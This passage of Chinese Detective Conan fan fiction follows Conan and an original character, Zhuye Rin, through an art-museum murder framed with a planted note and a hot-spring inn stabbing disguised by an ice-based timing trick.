诸叶凛走进去时,柯南正盯着其中一块屏幕,神情专注。
画面里,一个穿着银色盔甲的人正挥舞着长剑。
那把剑在展厅内微弱的灯光下依旧反射出一抹寒芒,一剑下去,鲜红的血喷溅在墙上。
目暮警部皱着眉,沉声道:“看来,这就是行凶的瞬间。”
他用鼠标快进,在时间轴上滑动。
“停!”柯南突然出声。
他眯起眼,盯着定格的那一帧画面:“……好像有哪里不太对。”
目暮警部看着画面中真中的尸体:“哪里不对?”
柯南皱着眉,放大画面,却又没看出具体异常。
“奇怪,明明刚才感觉有什么地方不协调……”
确认后面没什么线索后,目暮警部把监控调回到真中被杀的部分。
三剑刺出后,画面中盔甲面对着镜头,缓缓转身离开。
“这个画面!”柯南睁大眼睛,立刻按下暂停键。
诸叶凛走上前一步,目光落在屏幕上:“和那幅《天罚》很像呢。”
柯南点头:“没错!凶手一定是故意模仿那幅画的!”
毛利小五郎双手抱胸,捏着下巴陷入思考。
“这么看的话,恐怕是为了模仿那幅画才选择了这种杀人方式。”
“而且能随意在馆内走动,还能利用‘禁止入内’的牌子阻止游客进入……凶手一定是美术馆的内部人员!”
目暮警部缓缓转过头,看向站在一旁的几名工作人员。
“也就是说——”他沉声道,“犯人,就在你们当中。”
“等等,你们看,”柯南来回播放着一段监控画面,指着里面的真中,“真中先生的手是不是攥着什么东西?”
屏幕里,真中被刺中第一剑后,踉跄着向旁边的桌子靠去,抓起上面的笔,俯身在纸上快速写着什么。
接着突然抬起头,将手里的笔狠狠甩了出去,而那张纸被他揉成一团。
就在这一刻,原本转身似乎即将离开的盔甲突然回头,手中的剑反射出刺眼的冷光。
第二剑,锋刃从上而下划过!
接着真中被直接拎起按在墙上,鲜血顺着剑身流淌,沿着墙壁一路滑下。
第三剑,盔甲将剑笔直刺入他的脖颈,把人钉死在墙上。
而那个纸团,留在了真中的手心。
目暮警部神情一凛,立刻带人冲向尸体所在的“地狱之间”展馆。
诸叶凛不紧不慢地跟在后面,等他赶到时,纸团已经在目暮警部手里。
“这是……洼田!”
目暮警部展开那张纸,看清上面的内容后惊呼出声。
被点到名字的洼田脸色瞬间惨白:“什、什么?怎……怎么会是我?!”
他连连后退,神情惊慌。
“我、我今天下午根本没见过真中老板!今天我只是照常工作而已!”
“少撒谎了!”毛利小五郎语气严肃,“你今天可是因为粗心被馆长训斥,还被真中当众讥讽!这种耻辱足以让你恼羞成怒!”
“再加上你因为卖掉美术馆里的画,被他索要了巨额赔偿,有充分的作案动机!”目暮警部补充道。
“可是我真的——”洼田的声音止不住的颤抖,“我没杀人!我根本不知道那张纸上怎么会有我的名字!”
他的声音在展厅中回荡。
柯南皱着眉,站在一旁。
不对,凶手应该不是洼田,刻意用盔甲遮掩自己的人怎么会一个下午都待在办公室,没有任何不在场证明?
而且,诸叶之前找纸笔的时候那么困难,那个桌子上怎么会恰好就有呢?
诸叶凛静静看着被警员控制的洼田,又看向皱着眉一副深思样子的柯南,缓缓走到落合馆长身边。
“馆长先生,你觉得杀掉恶魔的,是罪人,还是英雄?”
落合一怔,转头望向他,那双浑浊却仍有光的眼睛深深注视着诸叶凛:“或许……是堕落的英雄吧。”
“堕落……吗?”诸叶凛轻声重复。
另一边,在洼田即将被当作凶手带走前,柯南发现了那支被扔在地上的金色原子笔。
他拧了一下笔身,笔尖“咔嗒”一声弹出。
“这根笔是可收笔尖式的?”他心中一动。
一个即将被杀的人,会在慌乱中特意拧一下把笔尖收回去吗?
真中先生又为什么要把笔扔掉?不让凶手知道写过字?可是凶手当时就在他面前,只来过美术馆几次的真中先生都能发现,凶手却没有看到桌上的笔和纸?
而且时机太巧了,就在他写完“洼田”这个名字的瞬间,盔甲就刺出第二剑?
柯南抬起头,眼镜反射出一丝锐光。
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那张纸上的名字,也许根本不是死者亲手留下的!
柯南趁着目暮警部和毛利小五郎没注意,从鉴识课的警员手中要来那张已经被装进透明证物袋的纸。
“目暮警部让我拿给毛利叔叔确认。”他笑得一脸天真。
“请小心别弄皱了。”警员点点头,将证物递了过去。
柯南接过,立刻转身躲到角落,把袋子举到灯光下。
“果然!”
在洼田的名字上面有几道不规则的压痕,像是有人在上面用什么划过一样。
所以,这张纸是凶手刻意留下的,就是为了让监控拍到那一幕,让他们以为这是真中先生留下的遗言。
他抬起头,看向那面被鲜血覆盖的墙,上面有几个画作的标签,此时却没有画作,空空如也。
柯南脑中飞快闪过几个片段。
洼田愤怒地摔下盔甲头盔时,落合馆长只是看了一眼,并没有像之前那样训斥。
还有洼田自己提到,他之所以下午没有不在场证明,是因为馆长让他去办公室做整理工作。
柯南的手缓缓握紧。
“没错,凶手就是他。”
只是还差一个关键的证据。
他低下头,看着手中那张皱巴巴的纸,脑海里迅速闪过那支金色原子笔的模样。
那根笔是美术馆的特制纪念品,只发给正式员工,拥有的人只有寥寥几个而已。
他刚才试过,笔尖顺滑,能正常写字,但从这张纸上的痕迹看,真中先生死前使用的那根笔肯定写不出字,凶手在之后更换过那根笔。
所以,那个不能写字的笔现在就在凶手身上!
他的目光锁定落合馆长。
柯南想了想,突然跑到落合馆长身边,一副着急上厕所急得不得了的样子。
“伯伯,你知道厕所在哪里吗?刚才喝了好多水……”
落合馆长抬手指向展厅外侧的方向:“从那边出去右转,下楼后走到走廊尽头就能看到了。”
“可是我记不住~”
他把刚才从警员手里拿到的笔记本递过去:“可以麻烦您帮我画一下路线图吗?拜托啦!”
落合并没有多想,微笑着从胸前口袋里掏出一支金色的原子笔。
“没问题,小朋友。”
他拧动笔身,将笔尖对准纸页,然后——
笔尖停住了。
落合的手指微微颤抖,笑容僵在脸上,他的喉结轻轻滚动,却一个字也写不出来。
柯南故作天真地仰起头:“馆长伯伯,怎么不画了呀?”
落合的手越来越抖,脸色发白,嘴角都在颤动。
毛利小五郎察觉到异样,皱着眉头走近一步。
“喂,馆长先生,怎么了?”
10.鞋印
不过观察了一段时间后,诸叶凛确认那里挖不出他想要的东西,便转身离开前往新发现的第三个异常点。
夜幕渐渐落下,山间的温泉旅馆被温柔的灯光笼罩。窗外的虫鸣与微风混杂着泥土的清新气息,空气里多了一份静谧。
餐厅里灯光明亮,木质桌椅映着暖黄色的光。
诸叶凛推门进来,柯南听到动静,转头看到是他,眼底立刻浮现出几分期待。
“你在后山找到什么了吗?”
诸叶凛没有直接回答,只是说:“一会儿你就知道了。”
没过多久,平山申介也走了进来,动作有些急躁,裤腿和手上还有没来得及抹净的泥土痕迹。
此时,餐厅里除了山中康治,其他人都到齐了。
山中由希子温柔地巡视众人,笑着说道:“我去把晚餐端上来。”
毛利兰有些好奇:“不等山中先生了吗?”
山中由希子微微一笑,带着点无奈说道:“康治中午喝多了,胃有点不舒服,他说晚餐不用准备他的那一份。”
平山申介在一旁“嗤”地冷笑一声:“真脆弱。”
没人理会他,气氛一时间有些微妙,但很快被丰盛的晚餐冲淡。
味增汤的热气在空中氤氲,小碟里装着腌渍的青菜还有香气四溢的烤鱼。
众人吃得都很满足,诸叶凛也觉得这一餐比中午要更合胃口。
毛利小五郎原本想喝两杯清酒,但山中康治不在,他一个人喝酒也没什么滋味,环顾左右,突然看向诸叶凛:“你会喝酒吗?”
“爸爸!”
毛利小五郎讪讪地摆手:“问问而已嘛。”
诸叶凛摇头:“抱歉,我不太能接受酒的味道。”
毛利小五郎叹了口气,只好自斟自饮。
这时平山申介突然出声:“中午的时候,我听你说你就是那个很厉害的侦探毛利小五郎?我知道你,最近破了不少案子。”
毛利小五郎一下挺直了腰板,有些得意:“运气好,碰上合适的案子就——”
“如果我想请你帮我找个人,要多少委托费?”平山申介语气生硬地打断道。
毛利小五郎回忆了一下以往的报酬:“这个要看具体难度,比如线索多不多什么的,上下浮动很大。”
“我知道了。”平山申介若有所思地点头,但并没有说要找什么人。
晚餐持续了大约半个小时,众人陆续吃完,山中由希子见状站起身:“我去给大家准备点饮料。”
路过座位前面时,毛利兰突然注意到她手心有些红肿:“山中女士,你的手是不是受伤了?”
山中由希子笑了笑,语气温柔:“没事,只是不小心烫到而已,明天就消肿了。”
“但伤口肯定会疼啊,”山中加奈站了起来,“还是我去吧,大家想喝什么?”
众人都选择了特制饮品,就连毛利小五郎也觉得明早就离开,不多喝一杯有点可惜。
诸叶凛计算了下人数,摇头道:“杯子不够,我喝牛奶就好。”
山中加奈点头应下。
山中由希子有点迟疑:“还是我去吧……”
“妈妈,我已经长大啦,这点小事就交给我吧~”山中加奈快步走过去挽住母亲的胳膊撒娇。
山中由希子被她挽着,无奈地轻拍了下她的手臂,叹了口气:“好吧,那你一定要动作快一点。”
山中加奈刚离开没多久,餐厅外忽然传来玻璃碎裂的声音。
毛利小五郎放下酒杯,眉梢一挑:“看来山中女士的担心是对——”
“啊啊啊啊啊啊啊啊!!!!!”
他的话还没说完,走廊里突然传来一道尖锐的尖叫声打断了他,声音里带着明显的慌乱和恐惧。
“是加奈!”
山中由希子的脸色瞬间变了,转眼间已经冲出餐厅。
柯南腾地从椅子上跳下来,短腿飞快地追在她后面。
“加奈!”山中由希子颤抖地掀开低温温泉外的帘子,声音就是从这里传出的。
浓郁的雾气中,山中加奈正摊坐在地上,山中由希子扑过去将她搂进怀里,双臂紧紧抱着她:“加奈!加奈你没事吧?!”
山中加奈颤抖着伸出手指向温泉:“爸爸他、他……”
最后到达的诸叶凛看向池水——
温泉池里,山中康治背对着门口坐在水中,胸口插着一柄匕首,雾气下的水面正被染成深红色,从伤口中流出的血液正缓缓在水面晕开。一阵风吹过,外溢的池水甚至将周围干净的地面也染上了一片血色。
“山中先生!”毛利兰捂住嘴倒吸一口凉气。
柯南看着那刚开始扩散的血迹和半开着的后门,立刻冲了出去:“凶手一定刚离开!快追!”
“什么?!”毛利小五郎紧随其后,连跑带喊。
诸叶凛靠在门边,没有追出去,也没有进去,目光淡淡地扫过雾气缭绕的浴池,平静到与周围有些格格不入。
毛利兰缓过神来,立刻拿出手机:“我来报警吧。”
她声音还带着些颤抖,手指飞快地拨出号码,把现场情况简单描述了一遍。
挂断电话后,她回头看了诸叶凛一眼,发现他脸色有些红润的不正常,眉头微蹙:“诸叶君,你还好吗?”
诸叶凛低头:“没事,就是太热了。”
山中由希子仍旧搂着惊魂未定的山中加奈,强忍住泪水安抚女儿。
她擦了把脸,哑着嗓子对众人道:“池底有玻璃渣,我先把水放掉……不然等下警察来了调查会受伤。”
她强撑着起身,打开排水阀,随着温泉水缓缓流走,红色的水痕渐渐褪去,尸体也逐渐露了出来。
山中康治坐在池边,两眼紧闭着,双手垂在身侧,胸口的匕首深深刺了进去,神情看起来十分痛苦。
大约十几分钟后,水终于排空了,柯南和毛利小五郎也从外面回来,表情沉重。
毛利兰迎上前:“没追到吗?”
柯南摇了摇头。
毛利小五郎走到池边,虽然结果已经再明显不过还是伸手探了探山中康治的鼻息,接着遗憾地说道:“已经死了。”
山中由希子眼神一瞬间变得茫然,继而整个人都瘫坐在地,声音颤抖又哀切:“怎么会这样……康治——!”
她的手指攥紧了浴衣,泪水顺着脸颊滑落。
毛利小五郎轻轻拍了拍她的肩膀:“节哀吧。”
半个小时后,山道上传来警车的鸣笛声。
目暮警部第一个冲进案发现场,看见里面站着的毛利小五郎,头痛地拍了下额头:“又是你啊,毛利老弟!这个月都第十起了!”
毛利小五郎挠了挠后脑勺,尴尬地笑了笑。
目暮警部忍不住在心里吐槽:自从毛利小五郎名声大噪,每次有重大案件发生,几乎都能在现场见到他,仿佛沾上了什么“案件吸引体质”。
不过眼下发生了凶杀案,他很快把注意力放回案件上,轻咳一声,恢复了公事公办的冷静态度:“那么,死者名叫山中康治,职业是摄影师,是这家温泉旅馆老板的丈夫,没错吧?”
“没错。”毛利小五郎点头。
“死亡时间确定了吗?”
“是九点十分。”毛利小五郎答得很肯定。
“这么准确?”
毛利小五郎解释:“我们听到山中小姐的尖叫后第一时间赶了过来,当时山中先生的血刚刚从身边向外蔓延,我还特意看了下表,是晚上九点十分。”
“而且在那之前才刚响起一声玻璃碎掉的声音,死者应该就是在那个时候出事的。”
“你们当时都在一起?”
“没错,我们都在餐厅,只有山中小姐去厨房准备饮品。”毛利小五郎确认道,“当时这个温泉池的后门是开着的,外面还有很多凌乱的脚印,我和柯南追出去,但追出没多远,脚印就断了,找了一会儿但没找到凶手。”
目暮警部点点头,把目光转向山中加奈:“你为什么会突然来这里?”
山中加奈此时情绪已经平复不少,声音比刚才镇定了许多:“我本来在厨房帮大家准备饮品,突然听到这边传来玻璃碎掉的声音,就赶过来看看。
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>进来的时候看到爸爸背对着我坐在池子里,我以为他在泡温泉就想离开,但水面突然出现一小片奇怪的颜色,我有点好奇,以为是掉进去了什么脏东西就稍微凑近了一点,结果就看到……爸爸胸口竟然插着一把匕首!然后就——”
她声音发抖,但还是把事情讲得很清楚。
这时,鉴识科的工作人员带着捡到的玻璃碎片走来,其中几片上有狮子图案,山中由希子已经确认过正是那套纪念品里的一个。
目暮警部瞥了一眼:“看来你们听到的玻璃破碎的声音,大概率是凶手逃跑时碰掉杯子导致的,当然,也有可能是死者本人被杀时不小心弄碎的。”
他又问山中加奈:“你完全没看到凶手?”
山中加奈摇头,咬着嘴唇,显得很沮丧。
山中由希子把女儿揽进怀里,轻轻拍着她的肩膀安慰。
就在众人讨论的时候,一名警员快步进来,在目暮警部耳边低声说了几句。
目暮警部皱眉:“没发现吗?”
警员摇头:“我们已经把周围搜查了一遍,但没找到可疑人员。”
毛利小五郎挠了挠下巴:“这座山其实不算大,凶手很可能在我们报警到警察赶来的这半小时里,已经下山逃走了。”
他一边说,一边开始推理起来:“事情应该是这样的,凶手当时很可能透过窗户看到我们都在餐厅,认为这是个绝佳的机会,就从后门偷偷潜进来想要偷东西,结果没想到山中先生正好因为身体不适在泡温泉,被发现后一时冲动下将他杀害,随后慌忙逃走!”
“不对……”柯南皱起眉头,仔细思考着,“我们刚才明明听见玻璃杯摔碎的声音,还有加奈小姐的尖叫,这说明旅馆的隔音并不好,如果真是有人突然闯进来,山中先生怎么可能一点动静都没有?”
毛利小五郎愣了下:“呃……那可能是山中先生泡温泉泡睡着了吧?”
柯南反驳:“既然睡着了,凶手干嘛还要杀他?发现有人在,直接离开不就好了。”
毛利小五郎苦思冥想:“要不就是凶手本来想悄悄绕过去,结果刚好山中先生醒了,情急之下才动手……也许还捂住了他的嘴,这样不会发出太大声音。”
目暮警部听后点点头:“虽然听起来有些巧合,但的确有可能。”
柯南却依然觉得哪里不对劲:“可是……啊!”
毛利小五郎不耐烦地敲了下柯南的头:“小孩子少插嘴!”
说着,拎着他的衣领把人丢到门外。
靠在墙上的诸叶凛看着这一幕忍不住扬起一点笑意:“感觉不久之前才见过同样的画面。”
“别笑了。”柯南没好气地说,然后低头继续思索。
“你在想什么?”
“我总觉得凶手不是外面的人……虽然毛利大叔说的看起来也有道理,但哪里不太对。”
诸叶凛看着他:“看来你的身边没有特别有洁癖的朋友。”
“洁癖?”柯南突然灵光一闪,瞬间扭头望向温泉池边。
那里现在早已布满了来来往往的鞋印,但他清楚记得案发最初的时候,那一圈地面非常干净!
“我知道了!”柯南突然大声喊道,声音立刻吸引了目暮警部等人的注意。
他赶紧挠挠头,装作天真的样子:“我只是觉得我和毛利叔叔追出去的时候地上还很干净,并没有这些脏脏的鞋印,可门外却有好多脚印,这不是很奇怪吗?”
毛利小五郎努力回忆了一下,惊道:“好像……的确是这样!”
目暮警部思索片刻,顿时神情凝重:“柯南说得没错!如果外来者从后门进来,怎么可能刚踩过外面的泥地却不在池边留下一点鞋印?”
“所以,那些脚印和后门半开的现象,都是有人故意制造出来的障眼法,就是想误导我们以为凶手是外来的人!”
目暮警部的视线在众人身上来回扫过,最终落定在山中由希子、山中加奈和平山申介三人身上:
“这么说的话,排除掉今天才到旅馆,和死者之前完全不认识的毛利他们,有作案嫌疑的,只剩下你们三个!”
11.山中加奈的杀机
毛利小五郎目光牢牢锁定在平山申介身上,抬手指向他:“平山先生,凶手一定就是你了!”
“我?!”平山申介无措地指了下自己。
毛利小五郎:“没错,今天上午大家都看到了,你因为山中先生让你提前还钱,在走廊里和他爆发了激烈的争吵!据山中女士所说,山中先生还威胁过你,你对他怀恨在心,就想办法杀了他!”
“开什么玩笑?!”平山申介脸涨得通红,声音陡然拔高,“山中死的时候我明明和你们全都在餐厅里,根本没有离开过!怎么可能会是我杀了他?!”
毛利小五郎抱臂,得意地抬高了嗓门:“你当然可以做到!只需要设计个延时机关就行。你先找理由约山中先生来这里,然后设法把他迷晕,接着放进池子里,再把匕首固定好。只要等时间一到,机关触发,匕首就会掉下来刺死山中先生!这样一来,就能解释为什么我们一点呼救声都没有听见,因为人早就已经失去意识了!”
平山申介脸色很难看,攥紧了拳头,咬牙反驳:“按照你的说法,那餐厅里的人不是都有嫌疑了吗?而且我虽然是欠了钱没错,山中那个混蛋也威胁过我要是再不还钱就要让我在摄影圈混不下去,但我还不至于为了这点事就杀人啊!你有什么证据吗?!”
毛利小五郎冷哼一声,快步上前指着平山裤脚:“哼,那你来解释一下这个!你裤脚上的泥土就是证据!凶手在后门外特意留下脚印来误导警方,这一定是你做的!”
平山申介低头看了一眼,急得连连摆手:“这、这只是我下午去山里留下的啊,和那个脚印没有任何关系!”
毛利兰:“的确,中午吃完饭后,我们都有看到平山先生去后山。”
柯南在一旁默默观察:平山申介身上的泥土主要分布在裤脚和手上,袖口却没有,这更像是用工具挖掘过什么的痕迹,而不是毛利大叔说的那样……
毛利小五郎语气有点发虚,但还是坚持自己的推理:“那、那也不能证明什么。而且这里除了你,也没有人有杀害山中先生的动机了吧!”
面对那些满是质疑的目光,平山申介看了眼山中由希子,忽然厉声指向山中加奈:“你们干嘛光盯着我?!真要说杀人动机,她的仇恨比我要强多了!”
他喘了口气,指着山中加奈讥讽道:“山中那个混蛋喝醉后可是有跟我说过,他已经打算把你嫁给一个五十多岁的老头,这样就能拿一大笔钱去还赌债!我没记错的话,他都已经准备让你退学了吧?!”
屋里顿时安静下来,所有人的视线都集中在一直低着头的山中加奈身上。
“住口!”
山中由希子第一时间站到山中加奈身前挡住众人的目光,看着平山申介,语气罕见地严厉:“别牵扯加奈,她怎么可能亲手杀掉自己的爸爸?!”
“怎么不可能?山中那混蛋常年在外根本没怎么照顾过她,他们两个人之间根本没什么亲情!”平山申介激动道。
“我确实……很想杀了他。”
在两人争吵时,一个声音淡淡响起。
山中由希子猛地回头:“加奈!”
山中加奈从山中由希子身后走出来,抬头直视众人,忽然笑了一下。
她扫了一眼温泉池边的尸体: “这个人渣,前几天还跑到学校大闹一场,老师们怎么劝都不听,非要让我退学。他说,下周一就去学校给我办退学手续。”
平山申介两手一拍:“你们听见了吧!凶手一定就是她!比起什么机关、延时,你们怎么不想想,在现场的人嫌疑才最大!而且当时还是她自己主动说要去拿饮料的!”
“但是!”
山中加奈从口袋里拿出一张车票:“我没有杀他。”
“其实我早就想好了,如果他真的要把我卖掉,我就离家出走。一个人在外面确实会很辛苦,但总比被这个人渣卖掉强一万倍。”
目暮警部接过车票看了看,是从东京开往大阪的车票,日期就在这两天。
他叹了口气,日本每年都有许多因为家庭原因主动“消失”的年轻人,如果山中加奈真的决意离开,即便山中康治报警,警方也未必会插手。这么看的话,她的嫌疑的确减少了很多。
山中由希子揽住山中加奈的肩,轻拍着温柔安慰:“没错,加奈和我说过这件事,我很支持她。”
毛利兰擦去眼角的湿意:“我相信你一定能过上新生活的,山中小姐。”
山中加奈轻轻点头,笑容里多了些温度:“谢谢你。不过……现在看来,这张车票应该可以退掉了。”
推理一时陷入僵持,毛利小五郎刚想再次把矛头指回平山,忽然鉴识科的人走了进来。
那人把手里记录本递给目暮警部,简明汇报:“除了胸口刀伤,没有其他外伤,体内也没有药物反应。死亡时间在一到两小时之间。”
目暮警部算了算:“一
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小时前,差不多是晚上九点十分,时间对得上。”
平山申介瞪着毛利小五郎,火气没消:“你还盯着我干嘛?现在不是已经证明了山中既不是被打晕也不是被下药吗?我看啊,凶手就是外面的人,那些脚印也能解释,说不定凶手为了不吵醒睡着的山中,进来时干脆脱了鞋呢!”
在屋内众人吵吵嚷嚷的时候,诸叶凛一直在门外双手抱臂靠着墙低头发呆。
佐藤美和子注意到他,走过来询问,一名年轻的女性警员跟在身后。
“诸叶先生有什么线索吗?”
“没有。”
佐藤美和子也没抱太多期望,问完就离开了,但她身后的女警员却留了下来。
“诸叶君很无聊吗?”
诸叶凛摇了摇头:“不算无聊,只是有点困了。”
午觉被柯南打断,下午又在山里忙碌了半天,他还没完全恢复的身体的确有点吃不消。
女警员捂嘴一笑:“刚发生了命案,诸叶君的心态还真是悠闲。”
“诸叶!”
这时,柯南突然“噔噔噔”跑过来:“我发现了一个东西,但是够不到。”
诸叶凛不太想动,但柯南使劲拉着他往里走:“你不是说我们是朋友吗?朋友就是要互相帮忙的。”
女警员看着他们的背影,歪头笑了笑:“真可爱。”
另一边,诸叶凛被柯南拽到里面。柯南指着架子后的缝隙:“那里有一个东西,但是我够不到,这个架子又太重了,推不开。”
诸叶凛打开手电筒确认了一下位置,然后蹲下身,手臂伸进去大半,手指摸索了几下,碰到后,指尖一勾把东西拨到更近的地方,拿了出来。
柯南看着诸叶凛掌心的东西,是一个徽章,而且并不陌生。
“山中姐姐,除了发现尸体的时候,你今天还有来过这个温泉吗?”
山中加奈低头看向突然跑过来的柯南,摇了摇头:“没有,我对低温温泉没什么兴趣。”
“是吗?”柯南捧起那个徽章,用天真的声音问道,“那为什么这里会有山中姐姐的校徽呢?”
所有人的目光都被柯南手里的徽章吸引。山中加奈脸色一变,低头看向空无一物的胸口。
柯南:“我没记错的话,上午见到山中姐姐时,这个校徽还在你的衣服上吧?”
“如果你中途真的没有来过温泉,这枚徽章为什么会掉在这里?”
12.延时装置的作用
山中加奈嘴唇张张合合,像是想要辩解,却一句话都没说出来。
目暮警部沉着脸,接过柯南递来的徽章。
“山中小姐,”他声音低下去,“这件东西,你不打算解释一下吗?”
“我、我也不知道……”山中加奈不断摇头,“可能是……不小心掉的吧?”
这个回答显然无法让人信服。
当得知那枚徽章是从后门旁的架子后找到的,连毛利小五郎的表情也变得严肃起来,他转头看向山中加奈:“看来,你的嫌疑比我们想的还要大啊。”
而一旁找到徽章的柯南却没有继续说话。他走到角落,垂下视线,手扶着下巴陷入了思考。
的确,目前看来,这个徽章是很关键的证据。
但……哪里怪怪的。
那种微妙的不对劲感从刚才开始就一直在他脑海里回荡,就好像在提醒自己忽视了什么至关重要的细节。
柯南慢慢走到温泉池边,蹲下身,仔细地看着山中康治的遗体。
尸体平躺在地上,胸口处插着那柄匕首。除了致命伤,身上再没有其他痕迹。那张扭曲的脸上定格着极其痛苦的神情。
他看了看正在被目暮警部盘问的山中加奈。
一个经常扛着摄影器材、能在非洲草原追野生动物拍摄的成年男性;
一个身材瘦削、几乎没有臂力的高中女生。
如果真是通过捂嘴防止他呼喊,凭山中加奈的力量真的能让他一点声音都发不出来吗?而且在小兰发现山中由希子手上的伤口前,山中加奈根本没有任何想要离开餐厅的迹象。
检查结果没有药物痕迹,那么山中康治会睡在温泉池里完全就是一个随机事件。
要让“山中加奈是凶手”这件事成立,唯一的可能只有她经过温泉时恰好看到父亲睡着,于是冲动之下从厨房拿了匕首过来……
思绪一环接一环,就在这时,他忽然注意到山中康治那双圆睁的眼睛眼角的内侧,有一层微微发白的薄膜垂在外面。
柯南隔着手帕,小心地拨动那一小片东西,确认那不是黏上的异物,而是眼睛自身的一部分。
“这个位置……是瞬膜?”柯南低声喃喃。
瞬膜,又叫第三眼睑,是某些动物特有的一层半透明保护膜,能在保护眼球的同时维持视野清晰。通常存在于爬行动物、鸟类以及部分哺乳动物之中。
而人类的瞬膜早就已经退化,仅存的部分保留在内眼角,被称为半月皱襞。
柯南皱了皱眉。
的确,匕首刺中心脏造成的急性失血性休克,会让神经肌肉瞬间失控,从而引发濒死期的瞬膜脱出。
但那种情况下,瞬膜的颜色应该是接近人体肉色的淡粉色,可这具尸体的瞬膜,却呈现出诡异的苍白色……
柯南的眉心越皱越紧。
“小朋友,这里不可以靠太近哦。”一名警员注意到他,走过来轻声提醒。
“啊,对不起。”
柯南顺势退到一旁,靠在墙边,表情若有所思。
“柯南,”毛利兰走了过来,环顾四周,“你看到诸叶君了吗?我刚才在外面没找到他,没想到里面也没有。”
“小兰姐姐找他干什么?”柯南从推理中回神,警惕道。
他看了眼周围,刚才还被他抓进来的诸叶凛不知道什么时候不见了。
“没什么啦。”毛利兰摇了摇头,又笑着看向柯南,“不过,柯南,你这个样子和诸叶君好像啊。”
“诶?”
毛利兰歪着头,语气温柔:“就是靠在墙边那个表情,几乎一模一样。”说着她想到刚才诸叶凛的样子,有些担心道,“也不知道诸叶君身体有没有恢复,刚才他热得脸都红了。”
!!!
柯南浑身一震,脑中仿佛有电流划过。
他一下仰头看向毛利兰,急切问道:“你刚才说什么?!”
“我说——”毛利兰又重复了一遍,“诸叶君觉得这里很热啊。”
“热……”
柯南念叨着这个字,终于想通了那个被忽视的细节到底是什么,立刻冲了出去!
他快步跑回到后门旁,往那排架子上看,刚才玻璃碎片就掉在这附近。
他用力踮起脚,手指扒着架子边缘努力稳住身体,跳了两下,终于看清,架子中间那一层,有一道浅浅的水痕,在灯光下反着微光。
所有的思绪在瞬间串联在一起。
“……原来如此。”
他知道凶手是谁了!
也知道那个人究竟是怎么在他们所有人的眼前,制造出了这个假象!
--
“山中小姐,”目暮警部沉声问道,“关于这枚校徽,你还有什么要解释的吗?”
山中加奈抿紧唇,摇了摇头:“我说了,我也不知道为什么会掉在那里。”
目暮警部眯起眼:“可这是在后门旁的架子后找到的,那个位置可不是轻易能掉进去的地方。”
山中加奈沉默下来。
片刻后,
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目暮警部叹了口气:“你也知道,这种事光靠否认是没用的,看来只能到警局再慢慢问清楚了。”
他转向高木涉:“把山中小姐先带回去吧。”
就在高木涉伸手即将带走山中加奈的瞬间,身后忽然传来“呃——”的一声。
众人回头,只见毛利小五郎眼神迷离,身体晃了晃,几乎要摔倒,几个踉跄后直接一屁股坐在后门边的架子旁。
目暮警部眼前一亮:“终于开始了!”
此时,柯南正站在后门外,低头快速调整着领结型变声器的角度。
很快,毛利小五郎的声音在室内响起:
“稍等一下,目暮警官,凶手不是山中小姐。”
在众人期待的目光下,他笃定地说道:
“真正的凶手——”
“是你,山中由希子女士!”
“啊?!”目暮警部倒吸一口冷气,转头看向站在角落的山中由希子。
山中由希子怔住,表情僵硬:“……我?”
“不会是妈妈的!”
山中加奈反应十分激烈,立刻冲上前,双臂张开,挡在目暮警部和母亲之间。
目暮警部眉头紧锁,虽然他对毛利老弟在这个状态下的推理一向有信心,但还是难以置信地问道:
“你确定吗?山中由希子根本没有杀害山中康治的动机啊。”
如果说是为了养女的处境,就算感情再好也不太可能为此杀了丈夫吧?
“没错,关于杀机,我暂时还不清楚,但是,找到凶手最关键的,不是动机,而是证据!”
“证据?!”山中加奈红着眼睛,怒吼出声。
“你有什么证据?!那个人渣死的时候,妈妈不是和你们一起在餐厅吗?!”
“虽然你们之前也提过延时装置,可是——不管是鱼线还是别的什么,都没有发现啊!”
“没错。”
目暮警部接过话茬,点头附和。
“毛利老弟,他们的随身物品都检查过,温泉周围也仔细搜查了一遍,什么都没有,这里应该没有什么延时装置吧?”
“不,”片刻沉默后,柯南缓缓开口,“这里的确存在一个延时装置。”
“不过,”那声音清晰地在空气中回荡,“它并不是用来延时杀死山中康治的。”
柯南抬头,镜片闪着冷光。
“而是——”
“让我们误以为,山中康治在我们赶到时才刚刚死去,让血液流动与死亡状态延迟的装置!”
13.水与冰
诸叶凛刚在二层房间内躺下,听到楼下的推理又坐了起来。
他眨了眨带着几分倦意的眼睛,神情有些无奈。还以为能休息一会儿,没想到那位小侦探的速度,比他想象的还要再快一点。
诸叶凛抬手揉了揉眼睛,走到窗边。
玻璃上映出他半清醒的脸庞,他低头,透过窗户,看到后门外那个小小的身影正站在夜色里拿着变声器不断说着什么,风吹起对方额前的头发,月光映在镜片上。
“真是认真啊,小侦探。”
他转身从背包里拿出一个东西,推门下楼。
此时的低温温泉内,空气中弥漫着一股紧绷的气息。山中加奈挡在母亲身前,而在她身后,山中由希子一副不知所措的表情看着毛利小五郎。
“毛利老弟,”目暮警部率先打破沉默,“你刚才那句话是什么意思?”
“很简单。”
柯南开始推理道:“最开始,我们都以为死者是在我们赶到前刚刚被匕首刺中。”
“因为当时我们进来时,看到死者胸口的血刚刚扩散,只染红了身边的一圈池水。如果那个伤口是在更早之前造成的,血液早该彻底与温泉混合,整池水都会变成浑浊的红色。”
“就是这一点,让现场看起来,就像死者刚刚受伤一样。但那不过是凶手精心制造的障眼法!实际上,死者真正的死亡时间,恐怕要比我们以为的时间再提前整整半个小时!”
“什么?!”
目暮警部惊讶出声:“可是现场没有发现任何机关,也没有任何能延迟死亡时间的物品啊!”
柯南冷静回答:“那是因为——那个物品早就已经消失了。”
“消失?”
“没错,消失。因为那个装置从一开始就不是机械,也不是线之类的物品,而是——”
“水!”
“水?”目暮警部有些摸不着头脑。
“开什么玩笑!”山中加奈急切地反驳,“水怎么可能做到你说的那些事!”
“普通的水当然不行,但如果——那水在之前被冻成了冰呢?”
山中由希子身体一僵。
柯南继续说道:“我想,山中女士是在我们都聚集在餐厅的时候,借着准备食物的时间,在冷库杀害了提前约在那里的山中康治先生。为了保证冷冻效果,那里有着极其厚重的保温层,完全可以做到让我们听不见山中先生死亡时的声音。随后,再将尸体用大量冰块包裹起来,悄悄搬到这里。”
“这……怎么可能……”目暮警部皱眉低声嘀咕,但没有打断推理。
“等她确认一切都摆放妥当后,再将提前冻在冰块里的杯子放在后门的架子上,只要稍微调整杯底的重心,就能在冰块完全融化时自动滑落,打碎在地。架子上残存的水痕就是证据。”
在目暮警部走过去确认时,柯南继续自己的推理。
